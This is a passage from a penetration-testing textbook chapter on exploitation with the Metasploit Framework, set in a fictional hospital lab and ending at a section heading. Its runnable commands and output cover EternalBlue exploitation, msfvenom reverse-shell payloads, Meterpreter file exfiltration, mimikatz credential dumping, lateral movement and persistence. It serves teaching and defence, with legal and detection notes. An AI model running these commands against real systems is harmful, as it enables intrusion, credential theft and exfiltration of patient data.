> "The purpose of learning exploitation is not to break things—it is to understand how things break so we can build them stronger." — Georgia Weidman, Penetration Testing
In This Chapter
- Introduction
- 12.1 What Is Exploitation?
- 12.2 The Metasploit Framework Architecture
- 12.3 Finding and Selecting Exploits
- 12.4 Payloads, Encoders, and Handlers
- 12.5 Meterpreter: The Swiss Army Knife
- 12.6 Post-Exploitation Modules
- 12.7 Applying Metasploit to MedSecure Health Systems
- 12.8 Writing Custom Exploit Scripts
- 12.9 Exploit Development Concepts
- 12.10 Responsible Exploitation Practices
- Chapter Summary
- Key Terms
Chapter 12: Exploitation Fundamentals and the Metasploit Framework
"The purpose of learning exploitation is not to break things—it is to understand how things break so we can build them stronger." — Georgia Weidman, Penetration Testing
Introduction
In the previous chapters, you learned how to discover hosts, enumerate services, and identify vulnerabilities. You mapped the attack surface of MedSecure Health Systems and cataloged dozens of potential weaknesses. Now comes the pivotal moment in any penetration test: exploitation—the process of actually leveraging those vulnerabilities to demonstrate real-world impact.
Exploitation is where theory meets practice. It is one thing to tell a client, "Your SMB service is running an outdated version that may be vulnerable." It is entirely another to demonstrate that an attacker can leverage that weakness to gain full administrative control of the domain controller, access patient health records, and pivot to the billing system. The latter gets budgets approved and vulnerabilities patched.
This chapter introduces you to the art and science of exploitation. We will explore what exploitation actually means at a technical level, then dive deep into the Metasploit Framework—the single most important tool in the ethical hacker's arsenal. You will learn how Metasploit organizes its vast library of exploits, payloads, and post-exploitation modules. You will work through hands-on examples targeting our MedSecure lab environment, and you will begin writing your own custom exploit scripts.
⚖️ Legal Note: Every technique in this chapter must be performed ONLY against systems you own or have explicit written authorization to test. Unauthorized exploitation of computer systems is a federal crime under the Computer Fraud and Abuse Act (CFAA) in the United States, and similar laws exist in virtually every jurisdiction worldwide. Always obtain a signed Rules of Engagement (RoE) document before conducting any exploitation activities.
12.1 What Is Exploitation?
12.1.1 Defining Exploitation in Security Context
Exploitation, in the context of information security, is the act of leveraging a vulnerability in a system, application, or process to achieve an outcome that the system's designers did not intend. That outcome might be executing arbitrary code, escalating privileges, exfiltrating data, or disrupting service availability.
At its most fundamental level, an exploit takes advantage of a gap between what a system is supposed to do and what it can actually be made to do. Consider a web application login form. It is supposed to accept a username and password, compare them against a database, and grant or deny access. But if that form fails to properly sanitize input, an attacker might inject SQL commands that bypass authentication entirely. The vulnerability is the lack of input validation; the exploit is the crafted SQL injection string.
12.1.2 The Exploitation Lifecycle
Exploitation does not happen in isolation. It follows a structured lifecycle that builds on everything you have learned so far:
-
Vulnerability Identification — Through scanning, enumeration, or manual analysis, you discover a potential weakness. Perhaps Nmap reveals that a server runs Apache Struts 2.5.16, and you know CVE-2018-11776 affects that version.
-
Vulnerability Analysis — You research the vulnerability to understand its nature, severity, and exploitability. What type of flaw is it? Buffer overflow? Deserialization? Logic error? What prerequisites must be met? Does it require authentication? What is the attack vector?
-
Exploit Selection or Development — You find an existing exploit (in Metasploit, Exploit-DB, or elsewhere) or write your own. You configure it for the specific target environment—correct IP addresses, ports, offsets, and payload choices.
-
Exploitation — You execute the exploit against the target. If successful, you gain some level of access or control. If it fails, you analyze why and adjust your approach.
-
Post-Exploitation — Once you have gained access, you perform additional activities: privilege escalation, lateral movement, data exfiltration, persistence establishment, or whatever the Rules of Engagement permit.
-
Documentation — You meticulously document every step, including timestamps, commands executed, evidence collected, and the potential business impact.
12.1.3 Types of Exploits
Exploits come in many forms, targeting different layers of the technology stack:
Memory Corruption Exploits are among the most powerful and dangerous. They manipulate how a program uses memory to hijack execution flow:
- Buffer Overflows — Writing data beyond the boundaries of a buffer to overwrite adjacent memory, potentially including return addresses or function pointers. Stack-based buffer overflows overwrite the return address on the stack; heap-based overflows corrupt heap metadata.
- Use-After-Free — Exploiting a program that accesses memory after it has been freed, potentially leading to code execution if the freed memory has been reallocated with attacker-controlled data.
- Integer Overflows — Causing an integer variable to exceed its maximum value and wrap around, leading to undersized buffer allocations and subsequent overflows.
- Format String Attacks — Exploiting improper use of format functions (like
printfin C) to read from or write to arbitrary memory locations.
Logic and Design Exploits abuse flawed logic rather than memory:
- Authentication Bypass — Exploiting flaws in authentication mechanisms to gain access without valid credentials.
- Authorization Bypass — Accessing resources or performing actions beyond the user's intended privilege level.
- Race Conditions — Exploiting timing dependencies in concurrent operations, such as TOCTOU (Time of Check to Time of Use) vulnerabilities.
Protocol and Network Exploits target weaknesses in network protocols:
- Man-in-the-Middle — Intercepting and potentially modifying communications between two parties.
- Protocol Implementation Flaws — Exploiting incorrect or incomplete implementations of network protocols.
Application-Layer Exploits target web applications, APIs, and client-side software:
- SQL Injection, XSS, CSRF — Classic web application vulnerabilities.
- Deserialization Attacks — Exploiting insecure deserialization of user-supplied data.
- Server-Side Request Forgery (SSRF) — Causing a server to make requests to unintended locations.
12.1.4 Exploit Reliability and Side Effects
Not all exploits are created equal. In professional penetration testing, you must carefully consider:
- Reliability — Will the exploit work consistently, or does it depend on specific memory layouts, timing, or environmental conditions? ASLR (Address Space Layout Randomization) and DEP (Data Execution Prevention) can make memory corruption exploits unreliable.
- Stability — Will the exploit crash the target service or system? In a healthcare environment like MedSecure, crashing a patient monitoring system could have life-threatening consequences.
- Detection — How likely is the exploit to be detected by IDS/IPS, endpoint detection, or security monitoring?
- Cleanup — Can you cleanly remove all traces of exploitation, or does the exploit leave artifacts?
🔵 Blue Team Perspective: Defenders should understand that exploit attempts—even failed ones—generate artifacts. Monitor for unusual crash logs, core dumps, unexpected service restarts, and anomalous network traffic. Windows Event Log entries for application crashes (Event ID 1000) and service failures (Event ID 7034) can indicate exploitation attempts.
12.2 The Metasploit Framework Architecture
12.2.1 History and Evolution
The Metasploit Framework is the world's most widely used penetration testing platform, but its origins are surprisingly humble. In 2003, HD Moore, a security researcher frustrated by the fragmented state of exploit tools, created Metasploit as a portable network game using Perl. His vision was simple but revolutionary: create a unified framework where exploits, payloads, and auxiliary tools could be mixed and matched modularly.
The first version, released in 2003, included just 11 exploits. By 2004, Metasploit 2.0 had grown significantly, and the security community began contributing modules at an accelerating pace. In 2007, Moore rewrote the entire framework in Ruby for version 3.0, dramatically improving its architecture, performance, and extensibility. This rewrite established the modular architecture that persists today.
In 2009, Rapid7 acquired the Metasploit Project, and HD Moore joined the company. This acquisition led to the creation of commercial products—Metasploit Pro and Metasploit Express—built on top of the open-source Framework. The open-source version, Metasploit Framework (often called "msfconsole" after its primary interface), remains free and is included by default in Kali Linux.
Today, Metasploit contains over 2,300 exploits, 600+ auxiliary modules, 400+ post-exploitation modules, and hundreds of payloads. It is actively maintained by Rapid7 and a community of thousands of contributors.
12.2.2 Core Architecture
Metasploit's power comes from its modular, layered architecture. Understanding this architecture is essential for using the framework effectively and for developing your own modules.
Rex (Ruby Extension Library) — The foundation layer. Rex provides fundamental functionality: socket handling, protocol implementations (HTTP, SMB, SSH), encoding/decoding utilities, and SSL/TLS support. You rarely interact with Rex directly, but it underpins everything else.
Core Library (Msf::Core) — Builds on Rex to provide the framework's core functionality: module management, session handling, event dispatching, and data storage. The Core defines the base classes from which all modules inherit.
Base Library (Msf::Base) — Provides simplified APIs for the Core, making it easier to build interfaces and tools on top of the framework.
Modules — The heart of Metasploit. Everything you use day-to-day is a module:
- Exploits — Code that leverages a specific vulnerability. Each exploit targets a particular software version, configuration, or condition.
- Payloads — Code that runs on the target after successful exploitation. Payloads provide the attacker's desired functionality, from simple command shells to full-featured agents.
- Auxiliary — Modules that perform useful tasks that are not strictly exploitation: scanning, fuzzing, denial of service, protocol analysis, and more.
- Post — Post-exploitation modules that run after you have a session on a target: privilege escalation, credential harvesting, lateral movement, persistence.
- Encoders — Transform payloads to evade signature-based detection. Encoders can XOR, Base64-encode, or otherwise obfuscate payload bytes.
- Nops — Generate NOP (No Operation) sleds used in certain exploit techniques to improve reliability.
- Evasion — Newer module type specifically designed to generate payloads that evade antivirus and endpoint detection.
Interfaces — Metasploit can be accessed through multiple interfaces:
- msfconsole — The primary command-line interface. Feature-rich, with tab completion, command history, and scripting support.
- msfcli — Deprecated command-line interface for scripting.
- Armitage — A Java-based GUI that provides visualization and collaboration features.
- msfvenom — A standalone tool for generating payloads outside the framework.
- REST API — Enables programmatic access for automation and integration.
12.2.3 The Database Backend
Metasploit integrates with PostgreSQL to store information gathered during engagements:
# Initialize the database (first-time setup in Kali)
sudo msfdb init
# Start msfconsole and verify database connection
msfconsole
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
# Import scan results
msf6 > db_import /path/to/nmap_scan.xml
[*] Importing 'Nmap XML' data
[*] Successfully imported /path/to/nmap_scan.xml
# View discovered hosts
msf6 > hosts
# View discovered services
msf6 > services
# View discovered vulnerabilities
msf6 > vulns
The database is invaluable during large engagements. Rather than re-running scans, you can query the database for targets matching specific criteria:
msf6 > services -p 445 -u
# Shows all hosts with SMB (port 445) that are up
msf6 > services -p 445 -u -R
# Same, but automatically sets the RHOSTS option for the current module
12.2.4 Workspaces
For consultants managing multiple engagements, workspaces keep data separated:
msf6 > workspace -a medsecure_2026
[*] Added workspace: medsecure_2026
[*] Workspace: medsecure_2026
msf6 > workspace -a shopstack_2026
[*] Added workspace: shopstack_2026
msf6 > workspace medsecure_2026
[*] Workspace: medsecure_2026
Each workspace maintains its own hosts, services, credentials, and loot databases, preventing data leakage between engagements.
12.3 Finding and Selecting Exploits
12.3.1 The Search Command
With over 2,300 exploits available, finding the right one is critical. Metasploit's search command supports multiple filter criteria:
msf6 > search type:exploit platform:windows name:smb
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/Synergy
2 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Server Service
...
Key search filters include:
| Filter | Example | Description |
|---|---|---|
name: |
name:eternalblue |
Search module names |
type: |
type:exploit |
Filter by module type |
platform: |
platform:linux |
Filter by target platform |
cve: |
cve:2020-1472 |
Search by CVE identifier |
rank: |
rank:excellent |
Filter by reliability ranking |
author: |
author:hdm |
Search by author |
12.3.2 Understanding Exploit Rankings
Metasploit ranks exploits by reliability, which is crucial for professional engagements:
| Rank | Value | Description |
|---|---|---|
| ExcellentRanking | 600 | Exploit will never crash the service. Usually SQL injection, command injection, or similar. |
| GreatRanking | 500 | Exploit has a default target AND auto-detects the target. |
| GoodRanking | 400 | Exploit has a default target and is broadly applicable. |
| NormalRanking | 300 | Exploit is reliable but requires manual target selection. |
| AverageRanking | 200 | Exploit is somewhat unreliable or difficult to use. |
| LowRanking | 100 | Exploit is unreliable and difficult to exploit successfully. |
| ManualRanking | 0 | Exploit is almost impossible to use automatically. |
For the MedSecure engagement, you would generally prefer exploits ranked Good or above to minimize the risk of crashing critical healthcare systems.
12.3.3 Module Information and Options
Once you have identified a promising exploit, gather detailed information:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14
Available targets:
Id Name
-- ----
0 Automatic Target
1 Windows 7
2 Windows Embedded Standard 7
3 Windows Server 2008 R2
4 Windows 8
5 Windows 8.1
6 Windows Server 2012
7 Windows 10 (build 14393)
8 Windows 10 (build 17134)
Description:
This module exploits a vulnerability in the SMBv1 protocol...
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
...
Review the required and optional settings:
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s)
RPORT 445 yes The target port (TCP)
SMBDomain no The Windows domain
SMBPass no The password for the username
SMBUser no The username to authenticate as
VERIFY_ARCH true yes Check if remote arch matches target
VERIFY_TARGET true yes Check if remote OS matches target
12.3.4 The Check Command
Before firing an exploit, always use the check command when available. It probes the target to determine if it is likely vulnerable without actually exploiting it:
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.50
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[*] 10.10.10.50:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.50:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.50:445 - Scanned 1 of 1 hosts (100% complete)
Not all exploits support the check command, but you should always try it first—especially in sensitive environments like healthcare.
🔵 Blue Team Perspective: The
checkcommand still generates network traffic that can be detected. SMB vulnerability checks often trigger IDS signatures. Monitor for scanning patterns: multiple SMB negotiation attempts, unusual named pipe access, or reconnaissance of SMB shares from a single source IP.
12.4 Payloads, Encoders, and Handlers
12.4.1 Understanding Payloads
A payload is the code that executes on the target system after a successful exploit. Think of the exploit as the delivery mechanism and the payload as the package being delivered. Metasploit's payload system is remarkably flexible, allowing you to pair most exploits with most payloads.
Single (Inline) Payloads — Self-contained payloads that include all functionality in one block of code. They are generally larger but more reliable since they do not depend on additional network connections:
windows/shell_reverse_tcp — Full reverse shell in one stage
linux/x86/exec — Execute a single command
Stagers — Small payloads that establish a communication channel and then download a larger "stage." Stagers are typically very small (under 1KB) to fit in tight exploit buffers:
windows/meterpreter/reverse_tcp — Stager that downloads Meterpreter
^^^^^^^^^^ — This is the stager
^^^^^^^^^^^ — This is the stage
Stages — The larger payload downloaded by the stager. Meterpreter is the most common stage, but there are others:
windows/meterpreter/reverse_tcp — Meterpreter via TCP
windows/meterpreter/reverse_https — Meterpreter via HTTPS (harder to detect)
windows/shell/reverse_tcp — Basic shell via TCP
windows/vncinject/reverse_tcp — VNC injection via TCP
The naming convention uses / separators: platform/stage/stager. If there are only two parts (e.g., windows/shell_reverse_tcp), it is a single payload.
12.4.2 Choosing the Right Payload
Payload selection depends on several factors:
| Factor | Consideration |
|---|---|
| Buffer size | Some exploits have limited space for shellcode. Use stagers for tight buffers. |
| Network restrictions | If the target cannot make outbound connections, use bind payloads instead of reverse. |
| Detection evasion | HTTPS payloads blend with normal traffic; TCP stands out. |
| Functionality needed | Need file upload/download? Use Meterpreter. Just need command execution? A shell suffices. |
| Platform | Must match the target OS and architecture (x86 vs. x64). |
For the MedSecure engagement, you might choose windows/x64/meterpreter/reverse_https because:
- MedSecure's Windows servers are 64-bit
- HTTPS blends with normal hospital network traffic
- Meterpreter provides the rich post-exploitation capabilities needed to demonstrate impact
12.4.3 Configuring Payloads
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (seh, thread, process, none)
LHOST yes The listen address (attacker IP)
LPORT 4444 yes The listen port
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.10.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443
12.4.4 Encoders and Evasion
Encoders transform payload bytes to avoid signature-based detection. While modern endpoint protection uses behavioral analysis that encoders cannot defeat alone, they remain useful for bypassing simple pattern-matching defenses:
msf6 > show encoders
Encoders
========
Name Rank Description
---- ---- -----------
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x64/xor normal XOR Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
...
The shikata_ga_nai encoder is the most famous—its name means "it can't be helped" in Japanese. It uses polymorphic XOR encoding, meaning each encoded payload is unique:
msf6 > set encoder x86/shikata_ga_nai
msf6 > set EnableStageEncoding true
For generating standalone payloads with encoding, use msfvenom:
# Generate an encoded Windows executable
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.10.10.5 LPORT=443 \
-e x86/shikata_ga_nai -i 5 \
-f exe -o payload.exe
# Generate a Python payload (useful for Linux targets)
msfvenom -p python/meterpreter/reverse_tcp \
LHOST=10.10.10.5 LPORT=4444 \
-f raw -o shell.py
🔵 Blue Team Perspective: Do not rely solely on signature-based antivirus. Modern encoded payloads easily evade static signatures. Implement behavioral detection through EDR (Endpoint Detection and Response) solutions that monitor for suspicious process behavior: unusual parent-child process relationships, in-memory code injection, and anomalous network connections from non-browser processes.
12.4.5 Handlers — Catching Connections
For reverse payloads, you need a handler listening for the target's callback:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 443
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Started HTTPS reverse handler on https://0.0.0.0:443
The -j flag runs the handler as a background job, allowing you to continue using msfconsole while waiting for connections. ExitOnSession false keeps the handler running after the first session connects, which is important when targeting multiple systems.
12.5 Meterpreter: The Swiss Army Knife
12.5.1 What Makes Meterpreter Special
Meterpreter (Meta-Interpreter) is Metasploit's most advanced payload. It runs entirely in memory, never touching disk (making it harder for traditional antivirus to detect), and communicates over encrypted channels. Key features include:
- In-Memory Execution — Meterpreter is injected directly into a running process's memory space. No files are written to disk during normal operation.
- Encrypted Communications — All traffic between Meterpreter and the handler is encrypted (TLS for HTTPS, AES for TCP).
- Extensible — Functionality is loaded as extensions (plugins) on demand. Need to capture keystrokes? Load the
stdapiextension. Need to sniff packets? Loadsniffer. - Scriptable — Supports both built-in scripts and custom Ruby scripts for automation.
- Migratable — Can migrate from one process to another, useful for maintaining persistence if the initial exploited process is closed.
12.5.2 Essential Meterpreter Commands
Once you have a Meterpreter session, a rich command set is available:
System Information and Navigation:
meterpreter > sysinfo
Computer : MEDSECURE-DC01
OS : Windows Server 2019 (10.0 Build 17763)
Architecture : x64
System Language : en_US
Domain : MEDSECURE
Logged On Users : 7
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getpid
Current pid: 2184
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x64 0
88 4 Registry x64 0
384 4 smss.exe x64 0
524 516 csrss.exe x64 0
...
File System Operations:
meterpreter > pwd
C:\Windows\system32
meterpreter > ls
Listing: C:\Windows\system32
=============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 4096 fil 2019-03-19 04:45:12 -0400 0409
...
meterpreter > download C:\\Users\\admin\\Documents\\patient_records.xlsx /tmp/
[*] Downloading: C:\Users\admin\Documents\patient_records.xlsx -> /tmp/patient_records.xlsx
[*] Downloaded 2.14 MiB of 2.14 MiB (100.0%): patient_records.xlsx
meterpreter > upload /tmp/proof.txt C:\\Users\\admin\\Desktop\\
[*] uploading : /tmp/proof.txt -> C:\Users\admin\Desktop\proof.txt
[*] uploaded : /tmp/proof.txt -> C:\Users\admin\Desktop\proof.txt
Network Operations:
meterpreter > ipconfig
Interface 1
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 08:00:27:a1:b2:c3
MTU : 1500
IPv4 Address : 10.10.10.50
IPv4 Netmask : 255.255.255.0
meterpreter > route
IPv4 network routes
====================
Subnet Netmask Gateway Metric Interface
------ ------- ------- ------ ---------
0.0.0.0 0.0.0.0 10.10.10.1 25 11
10.10.10.0 255.255.255.0 10.10.10.50 281 11
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.100
[*] Local TCP relay created: :3389 <-> 10.10.10.100:3389
Process Manipulation:
meterpreter > migrate 1234
[*] Migrating from 2184 to 1234...
[*] Migration completed successfully.
meterpreter > execute -f cmd.exe -i -H
Process 3456 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1]
C:\Windows\system32>
12.5.3 Privilege Escalation with Meterpreter
If your initial access is as a low-privilege user, Meterpreter provides tools for escalation:
meterpreter > getuid
Server username: MEDSECURE\jsmith
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
The getsystem command tries multiple techniques automatically:
1. Named Pipe Impersonation (In Memory/Admin)
2. Named Pipe Impersonation (Dropper/Admin)
3. Token Duplication (In Memory/Admin)
4. Named Pipe Impersonation (RPCSS variant)
12.5.4 Credential Harvesting
One of Meterpreter's most powerful capabilities is credential extraction:
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi`
'## v ##'
'#####'
meterpreter > creds_msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate MEDSECURE DC01$ [NTLM hash]
0;38923 NTLM MEDSECURE admin [NTLM hash]
0;41027 NTLM MEDSECURE svc_backup [NTLM hash]
meterpreter > creds_kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;38923 Kerberos MEDSECURE admin P@ssw0rd!2026
0;41027 Kerberos MEDSECURE svc_backup BackupServ1ce!
⚖️ Legal Note: Credential extraction must be explicitly authorized in your Rules of Engagement. Some clients restrict this activity to prevent potential misuse. Always handle extracted credentials with extreme care and include them in your encrypted report only.
🔵 Blue Team Perspective: Detect Mimikatz-style attacks by monitoring for LSASS memory access (Sysmon Event ID 10 with
lsass.exeas the target), suspicious process injection (Sysmon Event ID 8), and credential validation events. Windows Credential Guard can protect against many of these attacks by isolating LSASS in a virtual secure mode.
12.6 Post-Exploitation Modules
12.6.1 The Post-Exploitation Phase
Post-exploitation is where you demonstrate real business impact. After gaining initial access to a MedSecure system, you need to show what an attacker could actually accomplish. Metasploit's post-exploitation modules automate many common tasks.
12.6.2 Information Gathering Post-Exploitation
# Background the current session
meterpreter > background
[*] Backgrounding session 1...
# Enumerate logged-in users
msf6 > use post/windows/gather/enum_logged_on_users
msf6 post(windows/gather/enum_logged_on_users) > set SESSION 1
msf6 post(windows/gather/enum_logged_on_users) > run
# Enumerate installed applications
msf6 > use post/windows/gather/enum_applications
msf6 post(windows/gather/enum_applications) > set SESSION 1
msf6 post(windows/gather/enum_applications) > run
# Gather system information
msf6 > use post/windows/gather/checkvm
msf6 post(windows/gather/checkvm) > set SESSION 1
msf6 post(windows/gather/checkvm) > run
# Check for recent files
msf6 > use post/windows/gather/enum_recent_files
12.6.3 Credential Harvesting Modules
Beyond Mimikatz (loaded via the kiwi extension), Metasploit offers targeted credential modules:
# Extract saved browser passwords
msf6 > use post/multi/gather/firefox_creds
msf6 > use post/windows/gather/enum_chrome
# Extract Wi-Fi passwords
msf6 > use post/windows/wlan/wlan_profile
# Search for files containing passwords
msf6 > use post/windows/gather/enum_unattend
# Checks for unattend.xml files that may contain plaintext credentials
# Dump SAM database
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(windows/gather/hashdump) > run
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
12.6.4 Lateral Movement
Moving from one compromised system to others within the network:
# PSExec-style lateral movement
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.100
msf6 exploit(windows/smb/psexec) > set SMBUser admin
msf6 exploit(windows/smb/psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.100:445 - Connecting to the server...
[*] 10.10.10.100:445 - Authenticating to 10.10.10.100:445|MEDSECURE as user 'admin'...
[*] 10.10.10.100:445 - Uploading payload...
[*] 10.10.10.100:445 - Created \xYzAbCd.exe...
[*] Sending stage (200774 bytes) to 10.10.10.100
[+] 10.10.10.100:445 - Service started successfully...
[*] Meterpreter session 2 opened
12.6.5 Persistence
Establishing persistence ensures you maintain access even if the initial exploit vector is patched or the system is rebooted:
# Registry-based persistence
msf6 > use exploit/windows/local/persistence_service
msf6 exploit(windows/local/persistence_service) > set SESSION 1
msf6 exploit(windows/local/persistence_service) > set LHOST 10.10.10.5
msf6 exploit(windows/local/persistence_service) > run
# Scheduled task persistence
msf6 > use exploit/windows/local/s4u_persistence
⚖️ Legal Note: Persistence mechanisms must be explicitly authorized and carefully documented. You MUST remove all persistence mechanisms during cleanup, and you should verify removal. Leaving backdoors in a client's network—even accidentally—is a serious professional and legal liability.
12.6.6 Pivoting Through Compromised Hosts
When the compromised host has access to network segments that your attack machine cannot reach directly, use pivoting:
# Add a route through session 1 to reach the 192.168.1.0/24 network
msf6 > route add 192.168.1.0 255.255.255.0 1
# Or use autoroute
meterpreter > run autoroute -s 192.168.1.0/24
[*] Adding a route to 192.168.1.0/255.255.255.0...
[+] Added route to 192.168.1.0/255.255.255.0 via 10.10.10.50
[*] Use the -p option to list all active routes
# Now you can scan the internal network through the pivot
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/portscan/tcp) > set PORTS 22,80,443,445,3389
msf6 auxiliary(scanner/portscan/tcp) > run
For MedSecure, this is critical—their medical device network (192.168.1.0/24) is segmented from the corporate network, but a compromised server with dual network interfaces can bridge that gap.
🔵 Blue Team Perspective: Detect pivoting by monitoring for unusual traffic patterns. If a server that normally communicates only with specific systems suddenly starts port scanning or establishing connections to the medical device VLAN, that is a strong indicator of compromise. Network flow analysis and microsegmentation with strict firewall rules between zones are your best defenses.
12.7 Applying Metasploit to MedSecure Health Systems
12.7.1 Scenario Setup
Let us walk through a realistic exploitation scenario against our MedSecure lab environment. Based on our earlier reconnaissance and vulnerability scanning (Chapters 10-11), we identified the following targets:
| Host | IP | OS | Vulnerable Service |
|---|---|---|---|
| DC01 | 10.10.10.50 | Windows Server 2019 | Zerologon (CVE-2020-1472) |
| WEB01 | 10.10.10.60 | Ubuntu 20.04 | Apache Struts RCE |
| FILE01 | 10.10.10.70 | Windows Server 2016 | EternalBlue (MS17-010) |
| DB01 | 10.10.10.80 | Windows Server 2016 | Weak SQL SA password |
12.7.2 Exploiting FILE01 via EternalBlue
msf6 > workspace medsecure_2026
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.70
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 10.10.10.5
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
[+] 10.10.10.70:445 - Host is likely VULNERABLE to MS17-010!
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.70:445 - Executing automatic check (disable AutoCheck to override)
[*] 10.10.10.70:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.70:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.70:445 - Connecting to target for exploitation.
[+] 10.10.10.70:445 - Connection established for exploitation.
[+] 10.10.10.70:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.70:445 - CORE raw buffer dump (51 bytes)
[*] 10.10.10.70:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
[*] 10.10.10.70:445 - 0x00000010 30 31 36 20 53 74 61 6e 64 61 72 64 20 31 34 33 016 Standard 143
[+] 10.10.10.70:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.70:445 - =-= [!] TOTAL WIN [!] =-=
[+] 10.10.10.70:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 10.10.10.70
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.70:49721)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : FILE01
OS : Windows Server 2016 (10.0 Build 14393)
Architecture : x64
Domain : MEDSECURE
We now have SYSTEM-level access on the file server. From here, we can harvest credentials, access shared files, and pivot to other systems.
12.7.3 Post-Exploitation on FILE01
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::
meterpreter > load kiwi
meterpreter > creds_kerberos
[*] Running as SYSTEM
kerberos credentials
====================
AuthID Package Domain User Password
------ ------- ------ ---- --------
0;996 Negotiate MEDSECURE FILE01$ [machine password]
0;54231 Kerberos MEDSECURE svc_backup BackupServ1ce!
meterpreter > run autoroute -s 192.168.1.0/24
[+] Added route to 192.168.1.0/255.255.255.0 via 10.10.10.70
We have discovered that svc_backup has a cleartext password in memory—likely because this service account has recently authenticated to FILE01.
12.8 Writing Custom Exploit Scripts
